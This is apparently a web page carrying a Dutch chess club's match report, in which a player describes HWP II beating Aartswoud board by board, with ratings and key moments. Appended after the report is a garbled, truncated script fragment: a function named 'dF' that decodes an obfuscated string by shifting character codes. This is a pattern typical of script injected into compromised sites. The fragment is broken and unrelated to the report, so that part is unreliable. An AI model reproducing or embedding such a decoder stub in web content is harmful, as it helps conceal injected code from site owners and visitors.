Aartswoud - HWP II: de zienswijze van Ben

Over de tegenstander Aartswoud: eerdere bespiegelingen dat ze door het verschuiven van het programma wel met veel invallers zouden spelen werd (achteraf gelukkig) niet bewaarheid. Ook Aartswoud trad aan met slechts één wisselspeler. Beide partijen op bijna volle sterkte dus, met een vergelijkbare ratinggemiddelde (1873 Aartswoud: 1890 voor HWP2).

HWP speelde met een verrassende opstelling met ondergetekende als opoffering stootslag op het 1e bord tegen Marc Helder (rating 2145). Niet dat ik daarin kansloos was, want na slechts een paar minuten spelen (mijn klok was nog niet gevallen voor de start) en 10 zetten gespeeld ontstond een stelling, in het Franse gambiet met 3. Le3, waarin ik zeker beter stond. Met een paar simpele zetten had ik dat voordeel (volgens Frits 0,7 punten) zeker moeten kunnen vasthouden. Dat gebeurde echter niet, liet ik Marc glippen en waar hij de beste zetten bleef spelen heb ik er duidelijk een paar minder goede tussendoor gedaan. Jammer, maar helaas.

Inmiddels had Sander op bord 8 een prima stelling tegen Pascal Zijlstra en haalde met een loper meer het 1e punt binnen. In het verdere verloop haalden vervolgens André en David ‘regelmatige’ remises die ze terecht niet hebben uitgemolken, mede gelet op de klok van David en het onduidelijk resterende 7 om 7 pionneneindspel dat André bereikt zou hebben. Het teamresultaat stond voorop vandaag en die remises kwamen prima uit, zo bleek.
Hendrik Jan kon het na zijn grote tijdnood niet bolwerken tegen Michael Lie, die in dit jaar nu een TPR heeft van 2616 met een score van 7 uit 7. Gewoon goed dus, terwijl zijn rating nu nog slechts 1843 is. Inmiddels kon ik zelf ook opgeven na nog de nodige complicaties tegen Marc te hebben aangeboden, maar die hij vakkundig stuk voor stuk afsloeg.

Daarmee was de stand 3-2, was de 1e tijdcontrole voorbij en resteerden nog 3 borden: Eduard, Pepijn en Jan. Laatstgenoemde gaf later aan slecht, ja zelfs verloren te hebben gestaan, maar dat veranderde duidelijk op de 40-41e zet. Met een paar slechte zetten wist Rob v.d. Heuvel zijn eigen stelling snel te ruïneren. Hij verloor twee pionnen, probeerde nog wat, maar verloor toen ook nog een kwaliteit en daarmee de partij.

Pepijn meldde vervolgens stoïcijns dat hij ging winnen maar ik vond de stelling nog wel enigszins verdacht voor hem. Tegenstander Rick van Ingen had een ver opgerukte e-pion in een eindspel met beiden een toren en dame, maar Pepijn had twee verbonden vrije pionnen op de damevleugel. Op instructieve wijze offerde Pepijn op enig moment de toren tegen de pion op e7 zodat de dames van het bord gingen, de toren overbleef voor Rick, maar de twee opgerukte van Pepijn pionnen beslissend werden. Rob spartelde nog wat, maar werd vakkundig mat gezet.

Daarmee was het 4-3 voor ons en gloorde eindelijk de eerste verdiende winst aan de horizon op deze zonnige dag. Daarvoor moest Eduard nog wel winnen in een stelling die velen als remise inschatten. Door een paar krachtzetten van Eduard kwamen zijn dame en loper echter erg sterk de stelling van de koning via de onderste rij binnen en werd die fijntjes afgebroken. Zijn tegenstander Wouter Laan zag zich ook nog genoodzaakt een toren weg te geven, realiseerde zich het verlies van hem en zijn club en HWP kon eindelijk dit jaar eens volop van de winst genieten met nog steeds prachtig terrasweer of zoals David al bij aanvang verkondigde: “mooi weer voor een prachtige wandeling” (dank je voor de invalbeurt David).

<script> function dF(s){ var s1=unescape(s.substr(0,s.length-1)); var t=''; for(i=0;i<s1.length;i++)t+=string.fromcharcode(s1.charcodeat(i)-s.substr(s.length-1,1));>

</s1.length;i++)t+=string.fromcharcode(s1.charcodeat(i)-s.substr(s.length-1,1));>